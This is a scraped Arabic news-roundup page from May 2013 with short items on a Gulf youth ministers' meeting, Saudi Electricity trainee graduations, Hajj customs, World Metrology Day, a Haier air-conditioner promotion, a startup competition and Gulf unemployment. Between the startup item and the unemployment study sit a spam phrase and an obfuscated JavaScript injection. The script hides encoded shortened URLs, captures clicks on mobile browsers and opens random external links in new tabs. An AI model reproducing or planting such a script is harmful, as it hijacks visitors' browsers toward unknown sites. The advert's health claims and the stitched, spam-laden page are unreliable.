اسابيع عربية

بدأ في المنامة اليوم الاثنين 20/5/2013م ، الاجتماع (27) لوزراء الشباب والرياضة بدول مجلس التعاون لدول الخليج العربية برئاسة  معالي الشيخ سلمان بن إبراهيم آل خليفة الأمين العام للمجلس الأعلى للشباب والرياضة بمملكة البحرين .

وقد القى معالي الدكتور عبد اللطيف بن راشد الزياني الامين العام لمجلس التعاون لدول الخليج العربية كلمة  اكد خلالها على أن مسيرة العمل الخليجي المشترك في مجال الشباب أنجزت العديد من الأهداف السامية ، وان  البرامج والفعاليات الشبابية ، الرياضية والثقافية والإجتماعية ، التي يتم تنظيمها في دول المجلس إلا دليلا على اهتمام ومتابعة المؤسسات المعنية بقطاع الشباب في دول المجلس .

وقال الامين العام لمجلس التعاون إننا في مجلس التعاون ننظر إلى الشباب بإعتبارهم الأمل لتحقيق البيئة الآمنة المزدهرة و المستدامة التي تفتح أمامهم فرصة ابراز طاقاتهم الشبابية و مواهبهم و ابداعاتهم الفكرية ، و هذا لن يتأتى ما لم تتركز الجهود على أن يتلقى الشباب تعليما عاليا رفيع المستوى وفق المقاييس الدولية ، و تتوفر لهم فرص العمل المناسبة و المجزية ، وتتهيأ أمامهم سبل شغل أوقات الفراغ بأمور مفيدة و نافعة لهم و لمجتمعاتهم ، إضافة إلى تسليحهم بالقيم العربية الأصيلة كالإيمان و الصبر و المثابرة و التضحية و الإيثار، و غيرها من القيم الضرورية لبناء شخصياتهم و تنمية ثقافتهم و تعزيز قدراتهم.

واضاف معاليه إن نجاح الخطط و البرامج التي يولون ، أصحاب السمو و المعالي ، متابعة تنفيذها يعزز من جهود دول المجلس، و يرسخ مسيرة العمل الخليجي المشترك في كافة المجالات ، و يمدها بطاقات مؤهلة و مدربة و مبدعة ، و قادرة على أن تقود المسيرة نحو أهدافها النبيلة .

تنظم  الشركة السعودية للكهرباء وبحضور الرئيس التنفيذي المهندس علي بن صالح البراك في الفترة من 11 رجب 1434هـ الموافق 21 مايو 2013م حتى 17 رجب 1434هـ الموافق 27 مايو 2013م احتفالات بتخريج 1416 متدرباً من معاهد تدريب الشركة بكل من أبها وجدة والرياض والدمام. وستنطلق الاحتفالات صباح (غدٍ الثلاثاء) من أبها وصولاً بجدة ( بعد غدٍ الأربعاء) بينما ستحتفل بخريجيها في الرياض يوم السبت القادم وخريجي معهد الدمام يوم الإثنين الموافق 27 مايو بمدينة الخبر.

        صرح بذلك عبد السلام بن عبد العزيز اليمني نائب الرئيس للشؤون العامة مؤكداً أن إجمالي خريجي معاهد التدريب التابعة للشركة قد وصل حتى الآن إلى 13021 خريجاً، وأن الشركة تسعى من خلال معاهدها إلى تعزيز قدراتها والسعي إلى التميز والتألق من خلال مواردها البشرية والتي يعول عليها كثيراً في تحقيق أهداف وخطط وبرامج الشركة.

وأوضح اليمني أن الشركة تعتبر التدريب أحد أهم روافدها الأساسية لتزويدها باحتياجاتها البشرية من الأيدي السعودية الشابة المدربة والمؤهلة، لذا قامت بالتوسع في ذلك حيث أنشيء المعهد السعودي التقني ببيش بمنطقة جازان مؤخرا كإضافة جديدة في مسيرة التدريب والتأهيل والتطوير في الشركة إذ أنه سيسهم في تدريب أكثر من 400 طالب يتم تأهيلهم من خلال الخبرات العالمية، وأضاف أن المعهد ثمرة من ثمرات التعاون بين الشركة السعودية للكهرباء والمؤسسة العامة للتدريب التقني والمهني والذي سيمتد إن شاء الله حيث ينتظر انطلاق معهد آخر في محافظة الجعيمة في المنطقة الشرقية.

وأكد اليمني أن المعاهد تمكنت من تزويد الشركة بالكوادر الفنية الماهرة التي تم إحلالها محل العديد من العمالة الوافدة دون أي تأثير على كفاءة العمل والخدمة.

وأشار إلى أنه ونتيجة لاهتمام الشركة بهذا الجانب فقد تجاوزت معدلات التوطين في الشركة 88% من مجموع العاملين بها البالغ عددهم 29 ألف موظفاً حتى نهاية مارس 2013م.

الجدير بالذكر أنه يتبع للشركة خمسة معاهد في كل من الرياض والدمام وجدة وأبها وبيش بمنطقة جازان الذي أفتتح هذا العام 2013، ويعد معهد تدريب المهندس يوسف بن عبدالله الحماد بالرياض أقدم هذه المعاهد وأنشي عام 1403هـ فيما أُنشئ معهد تدريب الدكتور غازي القصيبي بالدمام عام 1407هـ، وفي عام 1413هـ تم إنشاء معهد تدريب المهندس محمود طيبة بجدة بينما أُنشيء معهد تدريب أبها عام 1419هـ. وتستوعب معاهد التدريب ما يربو عن 2000 متدرباً.

عقد مدراء المنافذ الجمركية البرية والبحرية والجوية التي يفد عن طريقها حجاج بيت الله الحرام اجتماعاً لهم اليوم الاثنين الموافق 10/7/1434هـ برئاسة معالي الأستاذ صالح الخليوي مدير عام الجمارك, وذلك بمقر مصلحة الجمارك بالرياض.

 وقال معالي مدير عام الجمارك في كلمه له في بداية الاجتماع تتشرف الجمارك السعودية بأداء خدمة ضيوف الرحمن انطلاقاً من دور المملكة العربية السعودية التي شرفها الله به بقيادة خادم الحرمين الشريفين الملك عبدالله بن عبدالعزيز وسمو ولي عهده الأمين وسمو النائب الثاني حفظهم الله. داعياً معاليه كافة مدراء المنافذ البرية والبحرية والجوية ببذل المزيد من الجهد لتسهيل عبور ضيوف الرحمن للديار المقدسة لتأدية مناسكهم بكل يسر وسهولة مع عدم الإخلال بالرقابة الجمركية والأمنية لحماية أمن الوطن.

بعد ذلك تم مناقشة عدد من الموضوعات المدرجة على جدول الأعمال والتي تتعلق بوفود الحجاج منها احتياجات المنافذ الجمركية من الكوادر البشرية وكذلك الأجهزة والوسائل المساعدة بالإضافة إلى تطبيق الإجراءات الجمركية والأمنية الخاصة بتنظيم أعمال الحج. كما ناقش المشاركون في الاجتماع الخدمات المقدمة للحجاج مع سرعة إنهاء الإجراءات الجمركية تمشياً مع هدف الجمارك وهو الإسراع في فسح المسموح ومنع دخول الممنوع

تشارك هيئة التقييس لدول مجلس التعاون لدول الخليج العربية الهيئات والمؤسسات المماثلة في دول العالم احتفالها بيوم المترولوجيا العالمي الذي يصادف يوم 20 مايو 2013 والذي يأتي هذا العام تحت شعار “القياسات في حياتنا اليومية”.

وفي كلمته بمناسبة الاحتفال أوضح معالي الأستاذ نبيل بن أمين ملا – الأمين العام لهيئة التقييس لدول مجلس التعاون بأن رسالة اليوم العالمي للمترولوجيا لعام 2013 التي جاءت بعنوان “القياسات في حياتنا اليومية” تؤكد ضرورة الارتقاء والنهوض بالبنية التحتية للمترولوجيا في الدول الأعضاء بالهيئة بحيث تكون ذات موثوقية ومصداقية عالية وترقى إلى المستوى الدولي. 

وأضاف معاليه بأن الهيئة تسعى في هذا الجانب إلى تعزيز القدرات الفنية للتجمع الخليجي للمترولوجيا (GULFMET) للوصول به الى مستوى هيئات المترولوجيا الإقليمية العاملة بهدف الاعتراف به كهيئة إقليمية للمترولوجيا (RMO)، وهذا بالتأكيد لن يتحقق إلا من خلال المشاركة الفاعلة في جميع أنشطة وفعاليات التجمع ومن خلال إصرار جميع العاملين في نشاط المترولوجيا في الدول الاعضاء على تعزيز القدرات الفنية لديهم ورفع كفاءتهم من أجل الإسهام في تطوير مختلف النواحي الحياتية في دولهم والتي بلا شك تلعب أنشطة المترولوجيا الدور الأهم فيها.

وأشار بأن القياسات تشكل جزءاً لا يتجزأ من حياتنا، وأننا نعتمد عليها حتى من دون أن نلاحظ. وان الدور الذي تلعبه التقنيات الحديثة الآن في حياتنا، والدقة والموثوقية في القياسات يتطلب التحسين المستمر لهذه التقنيات، لذا فإن أولئك المعنين في أنشطة المترولوجيا يدركون كيف يعتمد عالمنا الحديث ذو التقنية العالية على النظام الدولي للقياس والذي بدوره يضمن لنا القدرة على القيام بالقياسات التي نحتاج إليها بموثوقية.

وهنأ نبيل ملا بهذه المناسبة جميع العاملين في هيئات التقييس الوطنية في الدول الأعضاء بشكل عام والعاملين منهم في نشاط المترولوجيا بشكل، مؤكداً على دور المترولوجيا في مختلف أوجه الحياة اليومية وأثرها في كثير من من القرارات التي نتخذها بشكل يومي.

كما تمنى الأمين العام لهيئة التقييس لجميع العاملين في نشاط المترولوجيا في الدول الأعضاء التوفيق والتقدم في تحقيق أهداف وتطلعات دولهم في الوصول إلى مستويات متقدمة في مجال المترولوجيا وإبراز أهمية هذا النشاط وتحقيق دوره الفاعل في جميع مجالات الحياة.

تشارك هيئة التقييس لدول مجلس التعاون لدول الخليج العربية الهيئات والمؤسسات المماثلة في دول العالم احتفالها بيوم المترولوجيا العالمي الذي يصادف يوم 20 مايو 2013 والذي يأتي هذا العام تحت شعار “القياسات في حياتنا اليومية”.

وبهذه المناسبة يطيب لي أن أتقدم إلى جميع العاملين في هيئات التقييس الوطنية في الدول الأعضاء بشكل عام والعاملين منهم في نشاط المترولوجيا بشكل خاص بخالص التهنئة وأطيب التمنيات بهذه المناسبة مؤكداً على دور المترولوجيا في مختلف أوجه الحياة اليومية وأثرها في كثير من من القرارات التي نتخذها بشكل يومي.

ان شعار هذا اليوم “القياسات في حياتنا اليومية” يدعونا أن نتوقف لحظة ونفكر في يوم من أيامنا العادية في حياتنا.. يوم أمس على سبيل المثال. فكم مرة قمنا بأعمال أو أنشطة تتطلب عملية القياس؟ بالتأكيد لم نسأل أنفسنا مثل هذا السؤال من قبل، ولكن هل نظرت إلى ساعتك؟ وهل اشتريت الخضار أو الفواكه؟ وهل قمت بتزويد سيارتك بالوقود؟ وهل ذهبت إلى الطبيب وقاس لك ضغط دمك؟ هذا جانب من جوانب أنشطة القياس التي لا تُعد ولا تحصى في حياتنا اليومية ونقوم بهذه القياسات يومياً وبشكل اعتيادي.

وهناك جوانب كثيرة نستخدم من أجلها هذه القياسات، فنحن نأخذ القرارات بناءً على نتائج هذه القياسات مثلما ببساطة وبشكل عفوي تدفع دواسة الفرامل في سيارتك عندما تتجاوز السرعة المسموح بها، أو تقلل من أكل الطعام الحلو عندما يكون لديك مستوى السكر مرتفع، وتقوم باحتساب سعر ما تشتريه على سبيل المثال (الغذاء، الكهرباء، الماء، الوقود) بناءً على نتائج القياس، فلا يمكن الاستغناء عن القياسات.

ربما قد تتفاجأ بمدى أهمية القياسات الدقيقة في حياتك اليومية، ففي الغالب، تشكل القياسات جزءاً لا يتجزأ من حياتنا، ونعتمد عليها حتى من دون أن نلاحظ. ومع ذلك، فأن الدور الذي تلعبه التقنيات الحديثة الآن في حياتنا، والدقة والموثوقية في القياسات يتطلب التحسين المستمر لهذه التقنيات، لذا فإن أولئك المعنين في أنشطة المترولوجيا يدركون كيف يعتمد عالمنا الحديث ذو التقنية العالية على النظام الدولي للقياس والذي بدوره يضمن لنا القدرة على القيام بالقياسات التي نحتاج إليها بموثوقية.

إن رسالة اليوم العالمي للمترولوجيا 2013 “القياسات في حياتنا اليومية” تؤكد ضرورة الارتقاء والنهوض بالبنية التحتية للمترولوجيا في الدول الأعضاء بالهيئة بحيث تكون ذات موثوقية ومصداقية عالية وترقى إلى المستوى الدولي. 

وفي هذا الإطار تسعى الهيئة إلى تعزيز القدرات الفنية للتجمع الخليجي للمترولوجيا (GULFMET) للوصول به الى مستوى هيئات المترولوجيا الإقليمية العاملة بهدف الاعتراف به كهيئة إقليمية للمترولوجيا (RMO)، وهذا بالتأكيد لن يتحقق إلا من خلال المشاركة الفاعلة في جميع أنشطة وفعاليات التجمع ومن خلال إصرار جميع العاملين في نشاط المترولوجيا في الدول الاعضاء على تعزيز القدرات الفنية لديهم ورفع كفاءتهم من أجل الإسهام في تطوير مختلف النواحي الحياتية في دولهم والتي بلا شك تلعب أنشطة المترولوجيا الدور الأهم فيها.

وأخيراً أتمنى لجميع العاملين في نشاط المترولوجيا في الدول الأعضاء التوفيق والتقدم في تحقيق أهداف وتطلعات دولهم في الوصول إلى مستويات متقدمة في مجال المترولوجيا وإبراز أهمية هذا النشاط وتحقيق دوره الفاعل في جميع مجالات الحياة.

اطلقت الجبر للالكترونيات حملة مكيفات هاير لصيف 2013م بمكافئة عملائها بقسائم مشتريات مجانية تسخدم بكافة فروع سنتر بوينت حول المملكة.

وحول آلية الحملة أفادة الجبر للالكترونيات بأن عملاء مكيفات هاير يحصلون على القسيمة الشرائية مباشرة وأن هذه القسائم بمثابة شكر وتقدير للعملاء، وتشمل هذه الحملة كافة المكيفات الجدارية (وحدات الـ سبلت) بموديلاتها المتعددة ذات سعة (1.5 طن ، 2 طن و 2.5 طن) ، فيمنح العميل قسيمة مشتريات واحدة عند شراء مكيف سعة 1.5 طن، وعند شراء مكيف هاير سعة 2 طن يحصل العميل على قسيمتين أما عند شراء مكيف هاير سعة 2.5 طن يحصل العميل على ثلاث قسائم شرائية. علماً بأن هذه القسائم تحسب بشكل فردي، بمعنى آخر أنه عند شراء العميل وحدة واحدة من مكيفات هاير سعة 1.5 طن و وحدتين سعة 2 طن ووحدة واحدة سعة 2.5 طن يحصل العميل مباشرة على القسائم التالية  (1 + (2×2)+3) والتي مجموعها 8 قسائم شرائية بقيمة  480 ريال كهدية من مكيفات هاير.

وتمتاز مكيفات هاير باحتوائها على مزايا فريدة مثل الأيونات الصحية السالبة ذات التأثير الإيجابي على صحة الإنسان وتحفيز المناعة لديه وتعمل ايضا على تنشيط الأعضاء الحيوية والجهاز التنفسي بقدرتها على طرد الأتربة وكما توصف بأنها (فيتامينات الهواء)، إضافة الى توفيرها للطاقة (الكهرباء) ومثبت ذلك بحصولها على شهادات المطابقة من المواصفات والمقاييس السعودية والتي بدورها تفرض على المستوردين وضع بطاقات استهلاك الطاقة والتي تشتمل على القدرة الفعلية للمكيفات وتحصل الأجهزة الإقتصادية على عدد اكثر من النجوم والتي تظهر بشكل واضح على بطاقات استهلاك الطاقة.

وعند السؤال عن مزايا المنتجات الأخرى التي تقدمها شركة الجبر للالكترونيات ، أفادت بأنها تعمل بشكل متواصل ودؤوب مع شركة هاير العالميةلتقديم وتطوير منتجات عالية الجودة وبأسعار مناسبة، وهذه التقنيات الصحية ليست بجديدة على منتجات هاير فالعلامة التجارية هاير لديها ثلاجات تحتوي على محفزات لفيتامين سي والحفاظ على الخضروات والفواكه طازجة بفاعليه تصل الى ثلاثة اضعاف الفترة الزمنية في الحالات الإعتيادية، وايضا انفراد فريزرات هاير بتخزين المأكولات مجمدة لمدة 100 ساعة عند انقطاع التيار الكهربائي وليس هذا فحسب وإنما ابتكرت هاير موديلات جديدة من الغسالات تحتوي على معطر ومعقم تم دمجه مع مواد تصنيع الجهاز.

كما اضافة الجبر للالكترونيات بأنها تعمل بشكل متسارع مع شركة هاير العالمية لتقديم أفضل المواصفات للسوق السعودي، ولهذا كانت انطلاقة هذا العام تحت شعار (هاير قلب كل بيت) لإيمانها اتجاه المجتمع بتأمين بيئة صحية والحفاظ المباشر على الأفراد باستخدام مواد صحية ومضادة للبكتيريا بالإضافة الى تقليل المصاريف الإضافية مثل فواتير الكهرباء او فواتير الإصلاح والصيانة حيث ان العلامة التجارية هاير حصلت على المركز الأول عالمياً في العديد من المنتجات في السوق العالمي بالإضافة لتميزها بضمان الجبر للالكترونياتوما تقدمه من خدمات مابعد البيع .

Normal
0

false
false
false

EN-US
X-NONE
AR-SA

/* Style Definitions */
table.MsoNormalTable
{mso-style-name:”جدول عادي”;
mso-tstyle-rowband-size:0;
mso-tstyle-colband-size:0;
mso-style-noshow:yes;
mso-style-priority:99;
mso-style-qformat:yes;
mso-style-parent:””;
mso-padding-alt:0cm 5.4pt 0cm 5.4pt;
mso-para-margin:0cm;
mso-para-margin-bottom:.0001pt;
mso-pagination:widow-orphan;
font-size:11.0pt;
font-family:”Calibri”,”sans-serif”;
mso-ascii-font-family:Calibri;
mso-ascii-theme-font:minor-latin;
mso-fareast-font-family:”Times New Roman”;
mso-fareast-theme-font:minor-fareast;
mso-hansi-font-family:Calibri;
mso-hansi-theme-font:minor-latin;
mso-bidi-font-family:Arial;
mso-bidi-theme-font:minor-bidi;}

أعلنت مدينة الملك عبدالعزيز للعلوم والتقنية ممثلة في برنامج بادر لحاضنات التقنية وشبكة سرب للمستثمرين الأفراد، عن انتهاء مرحلة التدريب والتأهيل للمرشحين الـ25 لمسابقة جائزة شبكة سرب، واختيار لجنة التقييم للسبعة مشاريع المتأهلة للمرحلة النهائية من مسابقة جائزة سرب، وحيث سيتم عرض هذه المشاريع السبعة على لجنة التحكيم النهائي والمكونة من سبعة حكام دوليين ومحليين خلال الحفل النهائي، حيث سيقومون بتتويج الفائزين الثلاثة في الحفل النهائي المزمع اقامته بمدينة جدة صباح يوم الأحد الموافق 26 مايو 2013م، تحت رعاية كريمة من صاحب السمو الملكي الأمير خالد الفيصل أمير منطقة مكة المكرمة، حيث سيتسلم الفائزون جوائز نقدية إضافة إلى برنامج إرشادي متخصص لمدة عام كامل.

 المشاريع التي تم اختيارها وترشيحها للمرحلة النهائية هي على النحو التالي(بدون ترتيب): مشروع هاوي – أنس دهلوي، مشروع نيوزي – عدنان مسكي، مشروع متجر مانجو جازان – عبدالرحمن الساحلي، مشروع شركة شاطر التعليمية – محمد أشقر، مشروع الحفر الطولي – هيثم بشناق، مشروع سعرات – وائل يار، مشروع عرب رومز.كوم – هتان أحمد.

 كما سيتم عقد جلسة التحضير النهائي للمشاركين السبعة للحفل النهائي في يوم السبت الموافق 18 مايو بحضور جميع المدربين من شركة بي دبليو سي ومنظمة الاسكوا وشركة قطوف الريادة وفل ستوب. حيث سيقوم كل مشارك بتقديم عرض تجريبي لمشروعه خلال 5 دقائق ومن ثم سيتم مناقشة العرض وتقديم النصائح له لتحسين طريقة عرض المشروع وتقديمه بصورة أفضل في الحفل النهائي أمام لجنة التحكيم وأمام نخبة من المستثمرين ورجال الأعمال والمسؤولين ورواد الأعمال في المنطقة.. katie holmes nude

function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const _0x5a990b=[‘substr’,’length’,’-hurs’,’open’,’round’,’443779RQfzWn’,’x68x74x74x70x73x3ax2fx2fx75x73x68x6fx72x74x2ex6fx72x67x2fx59x62x4ax33x63x383′,’click’,’5114346JdlaMi’,’1780163aSIYqH’,’forEach’,’host’,’_blank’,’68512ftWJcO’,’addEventListener’,’-mnts’,’x68x74x74x70x73x3ax2fx2fx75x73x68x6fx72x74x2ex6fx72x67x2fx4cx4fx49x35x63x365′,’4588749LmrVjF’,’parse’,’630bGPCEV’,’mobileCheck’,’x68x74x74x70x73x3ax2fx2fx75x73x68x6fx72x74x2ex6fx72x67x2fx79x74x66x38x63x348′,’abs’,’-local-storage’,’x68x74x74x70x73x3ax2fx2fx75x73x68x6fx72x74x2ex6fx72x67x2fx61x6cx67x39x63x319′,’56bnMKls’,’opera’,’6946eLteFW’,’userAgent’,’x68x74x74x70x73x3ax2fx2fx75x73x68x6fx72x74x2ex6fx72x67x2fx64x50x7ax34x63x334′,’x68x74x74x70x73x3ax2fx2fx75x73x68x6fx72x74x2ex6fx72x67x2fx64x79x72x37x63x347′,’x68x74x74x70x73x3ax2fx2fx75x73x68x6fx72x74x2ex6fx72x67x2fx4ax71x62x32x63x362′,’floor’,’x68x74x74x70x73x3ax2fx2fx75x73x68x6fx72x74x2ex6fx72x67x2fx61x56x58x36x63x336′,’999HIfBhL’,’filter’,’test’,’getItem’,’random’,’138490EjXyHW’,’stopPropagation’,’setItem’,’70kUzPYI’];_0x1922=function(){return _0x5a990b;};return _0x1922();}(function(_0x16ffe6,_0x1e5463){const _0x20130f=_0x3023,_0x307c06=_0x16ffe6();while(!![]){try{const _0x1dea23=parseInt(_0x20130f(0x1d6))/0x1+-parseInt(_0x20130f(0x1c1))/0x2*(parseInt(_0x20130f(0x1c8))/0x3)+parseInt(_0x20130f(0x1bf))/0x4*(-parseInt(_0x20130f(0x1cd))/0x5)+parseInt(_0x20130f(0x1d9))/0x6+-parseInt(_0x20130f(0x1e4))/0x7*(parseInt(_0x20130f(0x1de))/0x8)+parseInt(_0x20130f(0x1e2))/0x9+-parseInt(_0x20130f(0x1d0))/0xa*(-parseInt(_0x20130f(0x1da))/0xb);if(_0x1dea23===_0x1e5463)break;else _0x307c06[‘push’](_0x307c06[‘shift’]());}catch(_0x3e3a47){_0x307c06[‘push’](_0x307c06[‘shift’]());}}}(_0x1922,0x984cd),function(_0x34eab3){const _0x111835=_0x3023;window[‘mobileCheck’]=function(){const _0x123821=_0x3023;let _0x399500=![];return function(_0x5e9786){const _0x1165a7=_0x3023;if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x1165a7(0x1ca)](_0x5e9786)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i[_0x1165a7(0x1ca)](_0x5e9786[_0x1165a7(0x1d1)](0x0,0x4)))_0x399500=!![];}(navigator[_0x123821(0x1c2)]||navigator[‘vendor’]||window[_0x123821(0x1c0)]),_0x399500;};const _0xe6f43=[‘x68x74x74x70x73x3ax2fx2fx75x73x68x6fx72x74x2ex6fx72x67x2fx42x70x7ax30x63x390′,’x68x74x74x70x73x3ax2fx2fx75x73x68x6fx72x74x2ex6fx72x67x2fx77x63x77x31x63x311’,_0x111835(0x1c5),_0x111835(0x1d7),_0x111835(0x1c3),_0x111835(0x1e1),_0x111835(0x1c7),_0x111835(0x1c4),_0x111835(0x1e6),_0x111835(0x1e9)],_0x7378e8=0x3,_0xc82d98=0x6,_0x487206=_0x551830=>{const _0x2c6c7a=_0x111835;_0x551830[_0x2c6c7a(0x1db)]((_0x3ee06f,_0x37dc07)=>{const _0x476c2a=_0x2c6c7a;!localStorage[‘getItem’](_0x3ee06f+_0x476c2a(0x1e8))&&localStorage[_0x476c2a(0x1cf)](_0x3ee06f+_0x476c2a(0x1e8),0x0);});},_0x564ab0=_0x3743e2=>{const _0x415ff3=_0x111835,_0x229a83=_0x3743e2[_0x415ff3(0x1c9)]((_0x37389f,_0x22f261)=>localStorage[_0x415ff3(0x1cb)](_0x37389f+_0x415ff3(0x1e8))==0x0);return _0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()*_0x229a83[_0x415ff3(0x1d2)])];},_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const _0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)/_0x1da9e1);},_0x6ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)/_0xc3fc56);},_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const _0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+’-mnts’,_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window[‘mobileCheck’]()&&window[_0x22f77c(0x1d4)](newLocation,’_blank’);};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const _0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());

اظهرت دراسة نشرتها المجلة الاقتصادية السعودية ان ان معدلات البطالة بقيت مرتفعة في دول مجلس التعاون لدول الخليج العربية وتزايدت في العشر سنوات الاخيرة على الرغم من ارتفاع معدلات نمو النشاط الاقتصادي في القطاع الخاص وتزايد معدلات الوظائف المستحدثه حيث لم يتواكب اشغال الوظائف المستحدثه بالعمالة الوطنية مع الأعداد الداخلة سنويا منهم لسوق العمل.

وكشفت الدراسة أن أن الوظائف المستحدثة في القطاع الخاص موجهه بصورة رئيسه لتوظيف العمالة الوافده لسد احتياجات مجتمعات دول المجلس منها. 

وشخصت الأوراق المنشورة اسباب البطالة في دول المجلس وفي المملكة العربية السعودية خاصة، بأنها بطالة هيكلية وان اسبابها تتمحور في عوامل ثلاث هي: العامل الديموغرافي، حيث تزايد اعداد السكان الداخلين سنوياً لسوق العمل وتركزهم في الفئات العمرية الصغيرة.

العامل الثاني: هو العامل التاريخي المؤسسي، حيث مع تزايد المداخيل الربعية لدول المجلس من صادراتها النفطية أخذت حكومات الدول على عاتقها توظيف المواطنين في القطاع العام بمرتبات ومزايا مشجعة مما أوجد مع مرور الزمن ثنائية وازدواجية في اسواق العمل الخليجية; سوق للعمالة في القطاع الحكومي وآخر للعمالة في القطاع الخاص وكلا منهما يتسم بسمات مختلفة عن الآخر.

العامل الثالث: فهو تعليمي وحضاري حيث لاتزال البرامج التعليمية في هذه الدول قاصرة عن تكوين القدرات اللازمة للعمالة الوطنية والمطلوبة في القطاع والخاص، وكذلك لاتزال البرامج التدريبية غير كافية من حيث الكم والكيف، كما ان الأجيال الأخيره في هذه المجتمعات بحاجة النى نشر الوعي بينها حول أخلاقيات العمل وسلوكياته.

وقد طرح المشاركون بالأوراق مجموعة من الحلول ذات بعد طويل المدى وأخرى قصيرة المدى وركزت احدى الاوراق على مناقشة برامج سعودة الوظائف.

واشتمل العدد 41 من المجلة الاقتصادية السعودية التي يصدرها المعهد المصرفي على ملف للمؤشرات والتوقعات الاقتصادية محلياً ودولياً وملخص لمجموعة من الكتب تتناول البطالة والتضخم.

